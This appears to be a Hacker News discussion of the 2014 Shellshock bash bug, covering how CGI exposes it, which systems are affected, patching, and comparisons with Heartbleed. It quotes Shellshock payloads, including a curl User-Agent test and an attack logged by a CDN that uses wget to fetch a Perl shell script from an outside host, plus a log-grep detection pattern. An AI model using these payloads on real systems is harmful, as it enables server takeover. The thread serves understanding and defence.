I've just our few Apache 2 systems that are Internet facing. Some of the site configs did have the standard Ubuntu CGI stanzas in them. However, the `/usr/lib/cgi-bin` directories were empty.
All this has made me a bit nervous though. I certainly didn't change the system to use bash instead of dash.
The passwd file contains the login shell configured for that user. Operating in the context of a daemon for most sane applications, this configuration doesn't (or shouldn't?) matter unless the user logs in. [1]
For Apache, I believe /bin/sh (or the shell it points to) is what's at issue here. [2]
Unless the distro changes it, APR defines SHELL_PATH as a macro pointing to /bin/sh (note this isn't the homonym env variable, that would be a serious problem if it was since shellshock allows setting env variables by other means that are very public by now).
In a system I have access to, the installation procedure for some servers (not webserver necessarily) includes creating users with a full environment to be able to issue commands for these servers at a higher privilege. At the creation of these users, Ubuntu Server assigned them bash as their shell. I wonder if they're attackable at their public ports, but I haven't bothered trying to find attacking vectors since they were in production and the sysadmin got rid of bash as soon as he could. Not giving much detail here since I assume there will be plenty of compromised servers in the wild right now, including DB servers, proxies, etc.
from my understanding mod_php is not affected. However, if you have any system() calls in your PHP code AND you allow user input to be used in those system calls, then /bin/bash could be executed via the system call. If you control what is running in your system call - i.e.
system("echo 'hello world'");
then I believe you are OK. But that's "security 101" and you should never be opening a system call to user input.
this is a super fringe case, and wouldn't warrant this big of a deal. for this to be a 10/10 issue, it has to mean that processing the header files in Nginx/Apache results in some buffer overflow or for those values to be directly fed to bash.
otherwise the risk is super minimal, so I don't think it's a matter of making system/exec calls on user-supplied data.
No, you fundamentally and dangerously misunderstand the bug.
Your "exec($SomeVar)" example is a standard, unsanitized-input-passed-to-command-line type bug.
Shellshock does something fundamentally different. Everything on the actual command line is irrelevant to shellshock.
What happens is that the child Bash inherits env vars from the parent (which is often the web server). The shellshock bug is that the ENV VARS THEMSELVES are evaluated by bash as instructions.
Your actual PHP or whatever can be fully up to best-practices, sanitizing cookies and inputs, etc., and still fall vulnerable if one of the server-set environment variables like HTTP_ACCEPT_LANGUAGE has a malicious payload and ANYWHERE in your code, a subsequent system() call deep within some imported module gets fired off.
I'm sorry, my lack of understanding it was supposed to be apparent in that post, and indeed you clarified that it's actually more the second scenario I hinted at. I was responding to people talking specifically about an underlying language making system calls and that not making said system calls from the language itself would keep you safe.
You're confirming the suspicion that I had. To wit:
"for this to be a 10/10 issue, it has to mean that processing the header files in Nginx/Apache results in some buffer overflow or for those values to be directly fed to bash."
Not a buffer overflow, but if those headers are being fed upwards into bash, that's what we're both talking about.
I must not be understanding how this works then - how would /bin/bash be executed from a PHP system() call unless it was called directly from the command? And if you don't allow user input into the system call, how is /bin/bash going to be inserted into it? Thanks!
Yeah I get that - but surely just _calling_ /bin/bash isn't enough - you have to be able to pass in the arguments to bash that enable this exploit. And if you're not allowing user input into your system call, I still think this is a non issue in this scenario.
If php is being run from mod_cgi, then it is exploitable.
The full chain of the attack:
Request sent to the url, containing headers with '() { :;}; codehere'
Per CGI standard: environment variables are set with the attack code.
PHP is executed directly, with the environment containing the attack.
PHP calls system - the same environment is there, meaning the code is executed if /bin/sh points to bash.
N.B. - If /bin/sh is not bash, but the program executed by system() itself executes a call to system() which points to something explicitly calling a bash ( apply this if recursively), the exploit is triggered.
It's not about passing "arguments" on the command line, its about what the environment variables are. It's not always immediately obvious how the env vars are constructed - everyone points to CGI because it's a well known scenario, but there are plenty of other cases where environment variables are set from user data.
tl; dr - in any situation user input is used in environment variables, simply calling /bin/bash is enough.
Yeah - that would not be an issue for mod_php since it is about DHCP - if you're server gets it's IP from DHCP, then there's a potential issue, but since we're talking about mod_php here (not running PHP as a CGI, just mod_php) then the linked post is not related.
So trying to understand the issue here, is this actually a bash thing or a problem with the web server forwarding commands to bash? I don't understand why bash would be listening to network traffic on its own.
The latter. Some daemons, like CGI scripts will spawn a shell populated with environment variables from the client. With a vulnerable bash, commands in these get executed.
All HTTP servers invoking scripts over the Common Gateway Interface (CGI) put user-supplied input into environment variables as part of their invocation process, because that's what the CGI spec says to do. Many other daemons perform similar techniques to communicate with subprocesses that they spawn to do work. And when launching a new process, environment variables are (by default) copied from the parent process.
The CGI script itself is neither a daemon nor responsible for populating the environment (merely for invoking system()). Also, most HTTP servers try to go out of their way to avoid invoking shells and instead invoke CGI scripts directly, saving on overhead.
More broadly, if ANY process puts ANY client-supplied input into environment variables and subsequently that process or a subprocess happens to spawn a copy of bash by calling system(3), then you're in trouble.
Its a bash thing, or more specifically, the issue is with the fact that many (mostly old) web applications/web servers pass content from user straight to bash as environment variables,
not expecting this to cause any problems.
Not just web servers, but anything that calls system() or popen() is really calling the system shell, /bin/sh. On many systems, /bin/sh is really bash in sh compatability mode. That means all those perl scripts, CGI scripts, even DHCP clients expose the vulnerability. Ubuntu runs dash as /bin/sh instead, and most BSDs run ash, so they're not as vulnerable.
Edit: also, if you have ssh access to a non-login account, like for git access, this could execute commands on the remote host as if you had a shell.
Would a python web server (gunicorn, wsgi) behind nginx be vulnerable to this kind of problem?
I'm just pondering all the python library code out there which relies on calls to subprocess.Popen() to get things done. It seems like dynamic scripting languages with a tendancy to shell out to the system could be at risk of this or similar attacks.
No, because wsgi (i is for an interface here) does not use shell to pass data. Subprocess.Popen would only be a problem if it passes user-generated data as environment variables, and it doesn't do that by default. That's rarely needed, but you may want to review your code to be sure.
Actually I just tried on an app that runs on Gunicorn and does a Popen with shell=True, and it is vulnerable. A simple curl -A '() { :;}; touch /tmp/owned' did create the file on the server.
There are a TON Of servers out there running PHP through good ole CGI. I would imagine that some of those are running web apps that lots and lots of people use. Meaning you now have shell access to those machines.
Mining username/passwords is probably going to be pretty simple. I wonder how many of these machines have credit card numbers stored in the clear? I'd bet that there's a bank somewhere running in exactly that configuration.
This is "end of the world" mostly because of all the "things" (a la "Internet of things") like toasters, microwaves, refrigerators, etc. all have vulnerable bash versions.
That was my first question as well. The behavior sounds like exactly the kind of magical weirdness you get with shells. Your question is asked and answered here: https://stackoverflow.com/questions/26022248/is-the-behavior... The answer given there is that the behavior is NOT a documented feature; it's a side-effect of how bash implements inherited functions.
I was also very confused about why a web server would need to store HTTP headers in environment variables. Why would a mature piece of software like Apache do something so hackish? The explanation turns out to be very simple: it's how CGI works. Headers are passed to the CGI script as environment variables. If you don't do it that way, you don't support CGI.
There's one thing that still confuses me, though: why would a CGI implementation use the shell to set environment variables? Why would you use a complex, idiosyncratic piece of software that comes in many different flavors instead of just using the C setenv function?
> why would a CGI implementation use the shell to set environment variables?
This is exactly my question; that, and: if this is so, then isn't any script that uses mod_cgi (e.g., PHP, Perl, etc.) vulnerable? Yet there are multiple statements that only cgi scripts written in bash are vulnerable.
I haven't been able to resolve this apparent inconsistency in the description of how the bug works in the case of CGI, which may be a critical factor in understanding ones own vulnerability. What exactly is the order of execution here in the case of mod_cgi?
Those statements aren't correct. A ShellShock exploit has two steps:
1. Attacker somehow gets to set an environment variable. Since CGI converts HTTP headers to env vars (Host: -> HTTP_HOST, etc), a CGI-enabled server is an easy way to make this happen.
Step 1 on its own would be alarming but ultimately harmless--the variables may contain malicious values, but they can't be used to hurt you if you treat them as untrusted or don't even read them. But since this is *nix, those possibly malicious vars will be inherited by children spawned by the affected process.
If one of those children is Bash, then (regardless of the shell command):
2. When starting up, the Bash process will parse the currently defined environment for things that look like functions and import them. The "ShellShock" portion of this bug is that the parser will keep parsing past the function's closing brace, which means it runs whatever trailing code might be there. Of that trailing code was set by an attacker, with the expectation that you'd start a vulnerable Bash, you're owned.
So every time Bash is launched, for any reason, it spins through all of the environment variables and executes anything it finds as long as it's preceded by a fairly simple pattern?
To me, what seems disturbing isn't the extent of the vulnerability, but how long it took for someone to notice it. How many other "shallow" bugs like this one have been missed by the proverbial many eyes?
In principle it shouldn't execute anything, it's only supposed to parse functions. The problem is that it's such an obscure feature I bet almost no-one knew it existed, the many eyes didn't exist in this case.
Statement #2 is the simple expression of the issue that's necessary for understanding it, notably missing or obfuscated in all the other massive verbiage on the topic today.
So does that mean that running a bash script under cgi doesn't inherently expose you to the vulnerability, you're vulnerable only if the bash script called invokes a shell in a sub-process?
No, running a bash script through CGI is definitely dangerous. What's safe is if your CGI handler is a non-bash program like PHP that reads the environment variables itself and doesn't itself pass those environment variables on to bash.
If you're running a bash script as a cgi script in your web server, you're already vulnerable in half a dozen ways. Nobody does that.
If you're running a php/perl/python/ruby script as a cgi script in your web server, and that script calls system() or some variant thereof (backticks in perl, os.system in python), then you're vulnerable to this.
Not many people does that, but those who do won't be things you think of as web applications. They're going to be web control panels you installed and forgot about, or cheap home routers that nobody knows who made the firmware to.
Does anybody has steps what to do really as a sysadmin? Do I only need to install newest bash (on Linux systems) or do I also need to restart daemons like nginx/apache etc. ?
The vulnerability only affects bash when it is parsing environment variables, when it is just starting. So if a process is already running, it's not vulnerable and you don't have to restart it. You should definitely apply the patch from Wednesday, but be aware there is a related vulnerability that has no patch yet.
Jesus. That's been out of support for well over 2 years. I can't imagine this is the only problem it has. I'm curious: what's keeping the organization from upgrading it?
I've got to maintain a couple of RHEL4 servers that have simulation software running on them that has never been ported forward (education - the people who wrote it have long since left). Though we also still have a couple of DEC Alpha's kicking about attached to nanofabrication services. Fun times... Luckily I don't need to maintain all the win98 boxes we still have as well. Or the DOS ones.
This one doesn't even have the excuse of running a piece of lab equipment (I saw such a system recently running Win95 without OSR1, so it doesn't even have USB support. They move data around with ZIP disks!).
There's no way that this bug could affect even a fraction of the number of users Heartbleed did. The number of affected machines is probably 1/10000th that of heartbleed, and heartbleed exposed hundreds of millions of users, the SSL keys of servers, etc to attack. The fact that legacy CGI scripts are the only attack vector being discussed right now is proof enough of how outdated this bug is.
Keep in mind that hackers constantly take advantage of old exploitable legacy software in servers around the world to get a shell, and nobody freaks out about it.
cPanel is probably the most popular reseller hosting software for shared web hosting and it relies on CGI in all kinds of places. That alone provides a huge amount of exploitable hosts - I tried to Shodan it (port 2082) but it seems down right now.
Since cPanel is designed for people without system administration experience, it's unlikely they will be patched in a timely manner too. All the CGI scripts are in known static locations, so I wouldn't be surprised to see a worm that targets cPanel servers very soon.
This is definitely not going to affect just a few legacy CGI sites.
But it seems you only need one login to compromise the whole server. If I buy $3 hosting on a shared server then I can pwn the whole server can't I (using cPanel to escalate an attack above my privelege level)? What are the chances that one user account on a shared server is crackable, pretty high I'd imagine.
cPanel's official notice is that they checked and their code is not vulnerable (at least, whatever their current code is).
Of course it's possible that other CGI apps will execute a shell at some point, and that there's bound to be plenty of servers that are exploitable. But the number of SSL-bearing sites, and the sheer number of users (I mean, hundreds of millions, at least) that were exposed due to such gigantic sites having a huge hole for so long, meant that virtually everyone's personal information was vulnerable, immediately, to say nothing of stealing SSL keys.
This is definitely a serious bug. Any remote code execution is a top priority. But i've never seen a bug like Heartbleed before, and it's unlikely we ever will again, as (hopefully?) it will change the way forward services are deployed to implement proper memory protection between transport and application layers. Compared to exposing the personal information (and secured keys) of so many users and domains, just executing code on miscellaneous servers seems cute in comparison.
Plenty of stuff uses environment variables and in places one may not think it vulnerable. Reviewing some of our own software, it's unclear, just from documentation, which third-party systems actually pass some environment when shelling or not.
"Legacy CGI" might be discussed as a clear-and-easy example but this will impact many, many other systems.
Even if this bug affects every single *NIX server in the world, it still hasn't exposed, for example, CloudFlare's private keys, or your Gmail/Yahoo mail, or the clients (and keys) connected to VPNs around the globe. Heartbleed exposed so much private information, immediately, that it was the biggest private data leak in history, and will remain so for decades.
This bash bug lets you run code, but on a much smaller number of servers, without an immediate impact on the world's most important services, and won't give up things like ssl keys without a local privilege escalation. It's much, much more limited in the scope of the immediate threat. It's still an immediate threat. I'm just saying it is nothing compared to Heartbleed.
I've heard that replacing /bin/bash with a newer version of bash from homebrew or even zsh will work but is that going to break anything that assumes 3.2 bash??
Are you running an HTTP or SSH server that faces the public? If so you need to update or take mitigation steps ASAP. If not you can wait until apple patches.
I'm reluctant to add to uncertainty, but I'm not sure these are the only concerns. Many Linux systems execute shell scripts via bash after acquiring a DCHP address, and would be vulnerable if someone took over the DHCP servers in, say, a co-working space, cafe or airport and maliciously configured them. I'm not 100% sure if Mac OS X (or iOS) use shell scripts for post-assignment configuration. The short answer is to be careful about wireless access you don't control until Apple issues a patch.
Wait, what? I know DHCP clients have had exploits but those were of the more mundane buffer overflows/range checking type; there are DHCP clients implemented in bash? Something doesn't seem right about that - AFAIK DHCP data like IPs and so forth are binary, not text.
If you get "busted" back, then you're affected...which is what I get with Mac OS X 10.9...however, when I try it on an Ubuntu server (14.x) that hasn't been patched in awhile...I don't get the error...Er, why is that? I thought this pretty much affected every bash since 25 years ago?
(Someone else in this thread mentioned that Ubuntu uses dash...so...all modern Ubuntu servers are OK?)
No, you are not OK. Replace "sh" in that command with "bash" and you should still see the issue.
There is a lower likelihood that you'll see the issue, as anything which just uses sh (including the "system" function, and similar ones) will use dash indeed of Bash; but there will still be places where bash is called explicitly, including many shell scripts that depend on bash features, which are vulnerable.
The attack isn't against terminal shells. The biggest risk is against things that use the shell implicitly like system()/popen()/etc and they all use /bin/sh
It's certainly possible to be at risk if, for instance, you had a CGI script that was specifically written in bash (i.e. starts with "#!/bin/bash") but that's a lot less likely.
So definitely patch your Debian/Ubuntu/etc machines but do your Redhat-based ones (and other places where "/bin/sh --version" indicates that it's bash) first.
It seems arbitrarily risky to say, effectively, "My bash is vulnerable, but it's OK because it's unlikely to be called due to the defaults being Something Else" -- that might be short-term reassurance, but it sure sounds safer to fix it even if you don't think it can be exploited.
By default I mean that new users are given bash as sh by default, including the users for daemon services. So unless you assigned a different shell, or the service specifically asked for a shell other than the default linked by /bin/sh, then they will be running bash.
Can you name those hundreds of issues discovered on Windows stack for, say, 2014? I'm on IIS and I really want to know if I'm missing something.
MS had it's fair share of security flaws in the past but give them credit for their current state. You sound like people still talking about BSODs, while it's certainly a thing in the past.
On the one hand, if this had been in Windows, no one in the public would have been able to stumble across it, though you would expect them to be paying rooms full of engineers to make sure that's never necessary (and yet stuff happens.)
On the other hand, despite the premise of open source that 'many eyes make all bugs shallow', the amount of code in the wild and the complexity of it (and the diversity of implementation languages) has pretty much guaranteed that there's more code than possible coverage.
No one has to come up with clever marketing for Microsoft exploits because everyone expects there to be tons of them, given the level of complexity, and that Microsoft will push patches for them, because it affects their bottom line. Meanwhile, it seems in the open source world, you need PR campaigns to goad the community into due diligence.
>But people can casually look at code and see vulnerabilities, any time they want.
I think you're dismissing the level of experience, smarts, and inter-disciplinary knowledge it takes to find a bug like this. More than likely, even those with all those skills and at the 1% of them can't just eyeball code and go, "Ah yes, here." They're instead writing a lot of little tools and seeing what they can break. Then they go back, see what broke, and work out if its possible to exploit that exception or crash condition.
These types of tools and methods work just as well with closed source. Attacking closed source seems very unfair to me in these scenarios.
>But people can casually look at code and see vulnerabilities, any time they want.
They could, but they don't. Same way I can look at the sky and see an asteroid. Possible? Sure. Likely? Not without some pretty advanced tools or a hell of a lot of luck.
> ...if this had been in Windows, no one in the public would have been able to stumble across it...
Kind of a broad statement there, isn't it?
By your logic - Where do zero day Windows vulnerabilities come from then? People outside of Microsoft have certainly reported security issues to Microsoft in the past.
I've seen a lot of talk regarding the impact on embedded devices, but how many of these actually run GNU Bash? I can't think of many embedded devices that don't use Busybox instead.
>I can't think of many embedded devices that don't use Busybox instead.
What about all these shitty wireless routers out there? I think in the past they were QNX-based but they've long moved to being linux based. We know popular projects like dd-wrt and pfsense are probably okay (ash instead of bash), but what about the thousands of others? My own router is supplied by AT&T for its u-verse service. God knows what its running. Or all the NAS devices out there and load balancers, etc.
I guess we'll find out when the whitehats are done scanning the entire internet for vulnerable hosts.
I have a higher-end (albeit still consumer-level) ASUS wireless router that uses Busybox. I can't imagine that cheaper, lower-end models would be using full GNU bash instead.
The vulnerability only exists during the startup of a bash process. Updating bash is enough. Bash processes that are already running are past the point where they could be exploited. Future calls to bash will get the updated version. No services need to be restarted to apply the fix.
This is being actively exploited. We (CloudFlare) put in place WAF rules to block the exploit yesterday and I've been looking at the log files for the blocking to see what's going on. Have been seeing things like:
Out of curiosity, have you considered enabling it temporarily for everyone with Shellshock rules enabled? Just a day or two, to give people time to fix this. Is it feasible with your infrastructure/the way WAF works (I never used one)?
It could do a lot of good for people and be a great PR move at the same time.
Sad. This situation feels kind of a disaster-relief thing; not a good time to think about monetizing it. Still, I do understand you don't want people thinking you'll always be protecting them from everything even if they don't pay.
EDIT2 after clarification downthread, previous edit is to be disregarded.
It's less about trying to monetize it than about the cost to us of suddenly inspecting every request that goes through us. We service a huge volume of traffic and part of our core value is performance so keeping our processing latency is low as possible is important.
(Note: I removed sentence about CloudFlare pricing from previous comment to avoid any confusion about monetization)
The monetization has not been put in place right now. It has always been there (the possibility to add these rules).
If this is a disaster-relief thing-y, CloudFlare should then be eligible to receive government money later. I doubt that would be even considered by any parties.
Consider that the bug can be used as an amplification attack and you have a lot of webservers behind the free plan. I'm guessing you don't want to have Cloudflare's infrastructure be the IPs that everyone is blocking because some yoyo is using this to turn those machines into DDOS slaves. Might help your case internally.
CloudFlare is so amazing... Thanks for all your hard work. I have over a million blocked malicious attempts on my site which gets a huge amount of traffic (not shellshock, I mean in general).
Yeah, that's certainly the case with a couple of them and then there's one's like this that are trying to set up shells and where they've been established:
Request of file: /cgi-sys/defaultwebpage.cgi
With wget downloading a perl script to launch a shell:
() { :;}; /bin/bash -c \x22/usr/bin/wget http://singlesaints.com/firefile/temp?h=example.com -O /tmp/a.pl\x22
That site is still up and serving right now if anyone wants to take a look.
Paying customers get protection automatically while free customers do not?
I think this is not something which should be treated as a "value-added service" for your paying customers. The health and security of the Internet is far too important.
All your customers should be protected automatically.
You can tail your access.log and grep the expression "\(?\s_\s\)?\s{|cgi" to get an idea if someone is trying to exploit your webserver. The cgi part will return a lot of false positives, but if you cannot disable cgi, you might as well track it being requested.
That will only find either clumsy exploit attempts or whitehat scans that are not trying to hide themselves.
CGI sends most headers through to the script as environment variables (i.e. a Foobar: header will turn into $HTTP_FOOBAR) so at attacker can just pick a header name that isn't likely to be logged.
Note that you'll typically want to supply the URL to a CGI script on the site, not just www.example.com. Don't think you're unaffected just because the top-level page of your site doesn't appear vulnerable.
I think I have the same question.. why is this called a "bash" bug? Is it not a webserver bug? Why does the webserver send data to bash through environment variables? Is there no better way to do it?
CGI is an interface first defined 1993, 21 years ago. No one thought setting user data in environment variables was a risky thing at the time.
More modern interfaces between dynamic code and webservers, like even FastCGI or SCGI or dozens of others do not pass user data over Environment variables, and instead pass data in various protocols over a socket.
Sort of I guess, but why does bash need to loop over all of the env variables and execute them? I don't think CGI had any reason to think that would ever happen?
Bash is a shell, part of it's purpose is to deal with enviroment variables. The bug here is that the parser is getting confused, the feature being abused here is being able to declare functions as part of an enviroment variable, which is used to transfer functions to subshells in bash. Now this itself is fine, but since the parser gets confused it also executes commands after the function definition.
but it's generally understood that attackers should not be able to provide enviroment variable names. If the attacker can do that, they can also provide an alternative LD_PRELOAD variable.
I honestly can't see why this is "fine"... I understand it's not the security critical bug, but feeding all environment variables into some sort of interpreter...?!?
Ok, bash needs to transfer function definitions to child processes in order to implement something called inherited functions, and I guess you could argue that an environment variable is a reasonable place to store them. But WHY THE HELL does bash have to use the function name as the variable name?!? That's just insane to me...
Any sane programmer would store that shit in an environment variable with a known name (e.g. "BASH_INHERITED_FUNCTIONS"). Why doesn't bash do that?!?
It appears they are talking about requiring prefixes for these vars (finally). Still, you look at the c code / macros that parse this shit and have to shake your head. This is what they mean by "attack surface". http://www.openwall.com/lists/oss-security/2014/09/25/13
It's a bash bug because the bug is ultimately in how bash parses environment variables. My understanding is quite limited, but IIUC, after the invalid function definition, the bash parser simply stops trying to parse the environment, and the remaining input tokens get used as arguments to the next command executed by the shell.
When you use any functions in PHP to spawn another process (with the exception of pcntl_fork), PHP will execute a shell to run your process. That shell is then inheriting the parent environment.
If you (or any libraries you use) do not shell out or if you're using php_fpm (which clears the env and passes headers out of the environment), the. You are safe.
Apache user can probably write to /tmp, and from there the attacker can construct a way into the system (bindshell, reverse shell). He can then start reading your PHP config files (db passwords) or try to use other vulnerabilities to escalate his privileges.
From the article, it sounds like the issue is not just with Apache but also ssh, DHCP and others. So I'd just assume you're still at risk regardless of your Apache user configuration. (in any case, it's safer to act as if)
Things like that lower the risk: run everything as a low-privilege account (better, not even www-data but per-site), chroot()-ed, etc. and certain classes of attack will either fail or at least be easier to clean up.
The problem with all of this is that it assumes that you don't have privilege escalation vulnerabilities on the local system, which is often not the case unless non-trivial effort has gone into hardening the server – e.g. all of that privilege separation is a waste if someone sledgehammer-ed a chmod 777 into a script rather than setting the appropriate ownership and permissions or someone delayed a kernel update because they didn't want the downtime and “knew” that only trusted code ran on that system.
It doesn't seem to have trouble writing to /tmp in a typical low access scenario. Seems to me, anything can write to /tmp. Default seems to be 777 on /tmp.
I had someone exploit my Pydio install a few months ago with a litecoin miner. He managed to drop and run it in /tmp. He probably couldn't write and execute to too many other places.
Either of these will typically show you your running terminal:
ps -p $$
echo $0
(command name that was used to invoke the shell)
Not reliable:
echo $SHELL
(preferred shell for the user, not necessarily what is running)
Also note that you may want to remove/fix bash to make sure it doesn't get run by something else. A CGI script may run it despite you changing your default shell to something else.
295 comments
[ 1.8 ms ] story [ 250 ms ] thread"Of course one means of mitigating this particular attack vector is simply to disable any CGI functionality that makes calls to a shell"
If you're on Ubuntu:
If you're NOT running any CGI scripts this will disable CGI support in Apache. Not sure if that takes care of things 100%, but might be helpful.All this has made me a bit nervous though. I certainly didn't change the system to use bash instead of dash.
[1] https://wiki.ubuntu.com/DashAsBinSh
For Apache, I believe /bin/sh (or the shell it points to) is what's at issue here. [2]
[1] http://unix.stackexchange.com/questions/38175/difference-bet...
[2] http://security.stackexchange.com/questions/68146/how-do-i-s...
(This is also discussed earlier in the thread.)
Unless the distro changes it, APR defines SHELL_PATH as a macro pointing to /bin/sh (note this isn't the homonym env variable, that would be a serious problem if it was since shellshock allows setting env variables by other means that are very public by now).
In a system I have access to, the installation procedure for some servers (not webserver necessarily) includes creating users with a full environment to be able to issue commands for these servers at a higher privilege. At the creation of these users, Ubuntu Server assigned them bash as their shell. I wonder if they're attackable at their public ports, but I haven't bothered trying to find attacking vectors since they were in production and the sysadmin got rid of bash as soon as he could. Not giving much detail here since I assume there will be plenty of compromised servers in the wild right now, including DB servers, proxies, etc.
exploiter -> machine -> conduit (in this case, a web server) -> bash command through scripting language
but that doesn't really make sense to me. if it's in the header as a cookie header, in php that would require something like this:
$someVar = $_COOKIE['somecookiekey']; exec($someVar);
this is a super fringe case, and wouldn't warrant this big of a deal. for this to be a 10/10 issue, it has to mean that processing the header files in Nginx/Apache results in some buffer overflow or for those values to be directly fed to bash.
otherwise the risk is super minimal, so I don't think it's a matter of making system/exec calls on user-supplied data.
Your "exec($SomeVar)" example is a standard, unsanitized-input-passed-to-command-line type bug.
Shellshock does something fundamentally different. Everything on the actual command line is irrelevant to shellshock.
What happens is that the child Bash inherits env vars from the parent (which is often the web server). The shellshock bug is that the ENV VARS THEMSELVES are evaluated by bash as instructions.
Your actual PHP or whatever can be fully up to best-practices, sanitizing cookies and inputs, etc., and still fall vulnerable if one of the server-set environment variables like HTTP_ACCEPT_LANGUAGE has a malicious payload and ANYWHERE in your code, a subsequent system() call deep within some imported module gets fired off.
You're confirming the suspicion that I had. To wit:
"for this to be a 10/10 issue, it has to mean that processing the header files in Nginx/Apache results in some buffer overflow or for those values to be directly fed to bash."
Not a buffer overflow, but if those headers are being fed upwards into bash, that's what we're both talking about.
This is not required for exploiting the vulnerability at hand.
Under the hood, system("echo foo") does a fork, and in the child process does execv(["/bin/sh", "-c", "echo", "foo"], env...)
The full chain of the attack:
Request sent to the url, containing headers with '() { :;}; codehere'
Per CGI standard: environment variables are set with the attack code.
PHP is executed directly, with the environment containing the attack.
PHP calls system - the same environment is there, meaning the code is executed if /bin/sh points to bash.
N.B. - If /bin/sh is not bash, but the program executed by system() itself executes a call to system() which points to something explicitly calling a bash ( apply this if recursively), the exploit is triggered.
It's not about passing "arguments" on the command line, its about what the environment variables are. It's not always immediately obvious how the env vars are constructed - everyone points to CGI because it's a well known scenario, but there are plenty of other cases where environment variables are set from user data.
tl; dr - in any situation user input is used in environment variables, simply calling /bin/bash is enough.
https://news.ycombinator.com/item?id=8369443
right?
All HTTP servers invoking scripts over the Common Gateway Interface (CGI) put user-supplied input into environment variables as part of their invocation process, because that's what the CGI spec says to do. Many other daemons perform similar techniques to communicate with subprocesses that they spawn to do work. And when launching a new process, environment variables are (by default) copied from the parent process.
The CGI script itself is neither a daemon nor responsible for populating the environment (merely for invoking system()). Also, most HTTP servers try to go out of their way to avoid invoking shells and instead invoke CGI scripts directly, saving on overhead.
More broadly, if ANY process puts ANY client-supplied input into environment variables and subsequently that process or a subprocess happens to spawn a copy of bash by calling system(3), then you're in trouble.
Edit: also, if you have ssh access to a non-login account, like for git access, this could execute commands on the remote host as if you had a shell.
I'm just pondering all the python library code out there which relies on calls to subprocess.Popen() to get things done. It seems like dynamic scripting languages with a tendancy to shell out to the system could be at risk of this or similar attacks.
(avoiding implicit shell=True was one of the motivations for the subprocess module)
Honestly, I'm having trouble seeing how this is the end of the world vulnerability that it's being hyped as.
Mining username/passwords is probably going to be pretty simple. I wonder how many of these machines have credit card numbers stored in the clear? I'd bet that there's a bank somewhere running in exactly that configuration.
It's a big deal.
I was also very confused about why a web server would need to store HTTP headers in environment variables. Why would a mature piece of software like Apache do something so hackish? The explanation turns out to be very simple: it's how CGI works. Headers are passed to the CGI script as environment variables. If you don't do it that way, you don't support CGI.
There's one thing that still confuses me, though: why would a CGI implementation use the shell to set environment variables? Why would you use a complex, idiosyncratic piece of software that comes in many different flavors instead of just using the C setenv function?
This is exactly my question; that, and: if this is so, then isn't any script that uses mod_cgi (e.g., PHP, Perl, etc.) vulnerable? Yet there are multiple statements that only cgi scripts written in bash are vulnerable.
I haven't been able to resolve this apparent inconsistency in the description of how the bug works in the case of CGI, which may be a critical factor in understanding ones own vulnerability. What exactly is the order of execution here in the case of mod_cgi?
1. Attacker somehow gets to set an environment variable. Since CGI converts HTTP headers to env vars (Host: -> HTTP_HOST, etc), a CGI-enabled server is an easy way to make this happen.
Step 1 on its own would be alarming but ultimately harmless--the variables may contain malicious values, but they can't be used to hurt you if you treat them as untrusted or don't even read them. But since this is *nix, those possibly malicious vars will be inherited by children spawned by the affected process.
If one of those children is Bash, then (regardless of the shell command):
2. When starting up, the Bash process will parse the currently defined environment for things that look like functions and import them. The "ShellShock" portion of this bug is that the parser will keep parsing past the function's closing brace, which means it runs whatever trailing code might be there. Of that trailing code was set by an attacker, with the expectation that you'd start a vulnerable Bash, you're owned.
To me, what seems disturbing isn't the extent of the vulnerability, but how long it took for someone to notice it. How many other "shallow" bugs like this one have been missed by the proverbial many eyes?
Thank you, gentle responder.
If you're running a php/perl/python/ruby script as a cgi script in your web server, and that script calls system() or some variant thereof (backticks in perl, os.system in python), then you're vulnerable to this.
Not many people does that, but those who do won't be things you think of as web applications. They're going to be web control panels you installed and forgot about, or cheap home routers that nobody knows who made the firmware to.
Add the configuration from this page https://access.redhat.com/solutions/1207723 to your Apache or nginx config to deny malicious HTTP requests.
(Searching for '=>' doesn't show anything, which I would expect it to if -7169 was mentioned.)
http://ftp.gnu.org/pub/gnu/bash/
Just had to manually patch a CentOS4 legacy system.
What I find interesting is the patch has been around since the 16th, what took so long and what finally lit a fire under the mainstream *nix releases?
Jesus. That's been out of support for well over 2 years. I can't imagine this is the only problem it has. I'm curious: what's keeping the organization from upgrading it?
You find a lot of that type in education/local government.
(ancient openssl never had tls heartbeat feature)
But Redhat actually still supports EL4 through their ELS program and releases patches for it until March 31, 2017
https://access.redhat.com/support/policy/updates/errata#th-r...
CentOS simply decided not to keep up with it anymore, cannot blame them.
Variety is the spice of life, and all that...
Give me servers running under JVM that do the focused few things they do very, very well.
Keep in mind that hackers constantly take advantage of old exploitable legacy software in servers around the world to get a shell, and nobody freaks out about it.
Since cPanel is designed for people without system administration experience, it's unlikely they will be patched in a timely manner too. All the CGI scripts are in known static locations, so I wouldn't be surprised to see a worm that targets cPanel servers very soon.
This is definitely not going to affect just a few legacy CGI sites.
Dunno if that is on by default or not though.
But you aren't going to get into its cgi interface without login so that would have to be cracked first.
Try /cgi-sys/guestbook.cgi on any cPanel website for example (a random Google example: https://www.vidahost.com/cgi-sys/guestbook.cgi)
Of course it's possible that other CGI apps will execute a shell at some point, and that there's bound to be plenty of servers that are exploitable. But the number of SSL-bearing sites, and the sheer number of users (I mean, hundreds of millions, at least) that were exposed due to such gigantic sites having a huge hole for so long, meant that virtually everyone's personal information was vulnerable, immediately, to say nothing of stealing SSL keys.
This is definitely a serious bug. Any remote code execution is a top priority. But i've never seen a bug like Heartbleed before, and it's unlikely we ever will again, as (hopefully?) it will change the way forward services are deployed to implement proper memory protection between transport and application layers. Compared to exposing the personal information (and secured keys) of so many users and domains, just executing code on miscellaneous servers seems cute in comparison.
"Legacy CGI" might be discussed as a clear-and-easy example but this will impact many, many other systems.
This bash bug lets you run code, but on a much smaller number of servers, without an immediate impact on the world's most important services, and won't give up things like ssl keys without a local privilege escalation. It's much, much more limited in the scope of the immediate threat. It's still an immediate threat. I'm just saying it is nothing compared to Heartbleed.
I've heard that replacing /bin/bash with a newer version of bash from homebrew or even zsh will work but is that going to break anything that assumes 3.2 bash??
Edit: just saw https://news.ycombinator.com/item?id=8367086 - may look into that a little more.
I think the risk of breaking something is outweighed by the risk of exploit.
(Someone else in this thread mentioned that Ubuntu uses dash...so...all modern Ubuntu servers are OK?)
But then I tried this command and it echoed "vulnerable". env var='() { ignore this;}; echo vulnerable' bash -c /bin/true
There is a lower likelihood that you'll see the issue, as anything which just uses sh (including the "system" function, and similar ones) will use dash indeed of Bash; but there will still be places where bash is called explicitly, including many shell scripts that depend on bash features, which are vulnerable.
